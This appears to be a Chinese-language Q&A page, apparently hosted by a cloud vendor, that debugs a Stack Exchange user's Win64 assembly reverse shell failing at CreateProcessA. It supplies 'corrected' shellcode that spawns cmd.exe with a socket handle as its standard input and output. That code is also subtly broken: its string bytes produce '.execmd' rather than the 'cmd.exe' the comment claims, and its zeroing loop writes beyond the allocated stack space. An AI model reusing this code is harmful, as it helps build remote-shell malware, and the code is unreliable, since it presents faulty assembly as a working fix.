You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Win64汇编编写反向shell调用CreateProcessA接口卡住问题

问题根因

你的代码存在4个核心错误,直接导致CreateProcessA调用异常或启动的cmd进程挂死:

  • 栈操作粒度和大小计算错误:你沿用32位汇编的思路,认为push一次压4字节,实际上x64下通用寄存器push/pop都是8字节粒度。你循环18次push r11实际压入了144字节栈空间,远大于你预期的72字节,后续结构体偏移、栈布局全部错位。
  • 栈对齐不符合x64 ABI要求:Windows x64调用约定要求,执行call指令调用API的前一刻,rsp必须16字节对齐。你全程未做栈对齐校验,API内部访问栈数据时会触发未定义行为,轻则返回失败重则直接崩溃。
  • 句柄继承参数未正确设置:CreateProcessA的第5个参数bInheritHandles必须设为TRUE(值1),你传入的是0,就算设置了STARTF_USESTDHANDLES标志,socket句柄也不会被cmd子进程继承,cmd启动后没有有效输入输出句柄直接挂住。
  • 参数栈布局混乱:你在sub rsp, 0x70分配栈空间后又执行push操作修改rsp位置,同时未给前4个参数预留32字节影子空间,部分参数被写入了API约定的保留区域,直接被覆盖。
排查与修复方案

按以下步骤调整即可正常运行:

  1. 替换循环压栈的结构体初始化方式:直接一次性分配栈空间存放STARTUPINFOA和PROCESS_INFORMATION结构体,避免push粒度带来的大小计算错误。x64下STARTUPINFOA大小固定为104(0x68)字节,PROCESS_INFORMATION固定为32字节,直接按总大小分配栈空间即可。
  2. 严格校验栈对齐:所有栈调整操作完成后,确认调用CreateProcessA前rsp低4位为0。如果前面有奇数个8字节的栈操作,额外sub rsp, 8凑对齐。
  3. 补全正确的参数配置
    • STARTUPINFOA的cb字段固定设为104,dwFlags必须包含STARTF_USESTDHANDLES(值0x100),三个标准句柄填可继承的socket句柄
    • CreateProcessA的bInheritHandles参数设为1,命令行字符串传完整的cmd.exe,不要只传cmd避免路径搜索失败
    • 确保socket句柄创建后调用SetHandleInformation开启HANDLE_FLAG_INHERIT标志,否则句柄无法被子进程继承
  4. 修正参数栈布局:x64下前4个参数通过rcx/rdx/r8/r9传递,必须给这4个寄存器预留32字节影子空间(rsp到rsp+31区域),从rsp+32开始依次存放第5到第10个参数。分配完栈空间后不要用push/pop修改rsp,直接用mov往对应偏移写值。
  5. 加错误校验:CreateProcessA返回值在rax中,如果返回0直接调用GetLastError取错误码,87代表参数无效、2代表找不到cmd.exe、6代表句柄无效,可直接定位问题。
修正后的核心代码参考
; 提前确认r14是已开启可继承属性的socket句柄
; 分配栈空间,额外凑8字节保证16字节对齐
sub rsp, 0xE0
lea r12, [rsp + 0x80] ; r12指向STARTUPINFOA起始位置
lea r13, [r12 + 0x68] ; r13指向PROCESS_INFORMATION起始位置(STARTUPINFOA大小0x68)

; 初始化两个结构体为全0
xor r11, r11
mov rcx, 136/8 ; 104+32=136字节,按8字节粒度清零
zero_loop:
mov [r12 + rcx*8 - 8], r11
loop zero_loop

; 填充STARTUPINFOA字段
mov dword ptr [r12], 0x68 ; cb = sizeof(STARTUPINFOA) = 104
mov dword ptr [r12 + 0x3c], 0x100 ; dwFlags = STARTF_USESTDHANDLES
mov [r12 + 0x50], r14 ; hStdInput
mov [r12 + 0x58], r14 ; hStdOutput
mov [r12 + 0x60], r14 ; hStdError

; 构造cmd.exe字符串到栈上
mov dword ptr [rsp + 0x70], 0x6578652e ; ".exe"
mov dword ptr [rsp + 0x74], 0x00646d63 ; "cmd\0",拼接后为"cmd.exe"

; 填充CreateProcessA参数
xor rcx, rcx ; lpApplicationName = NULL
lea rdx, [rsp + 0x70] ; lpCommandLine = "cmd.exe"
xor r8, r8 ; lpProcessAttributes = NULL
xor r9, r9 ; lpThreadAttributes = NULL
mov qword ptr [rsp + 0x20], 1 ; bInheritHandles = TRUE
mov qword ptr [rsp + 0x28], 0 ; dwCreationFlags = 0
mov qword ptr [rsp + 0x30], 0 ; lpEnvironment = NULL
mov qword ptr [rsp + 0x38], 0 ; lpCurrentDirectory = NULL
mov qword ptr [rsp + 0x40], r12 ; lpStartupInfo
mov qword ptr [rsp + 0x48], r13 ; lpProcessInformation

call rbx ; 调用CreateProcessA
; 此处校验rax返回值,失败则调用GetLastError排查

内容的提问来源于stack exchange,提问作者nevernever69

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.29 02:57:21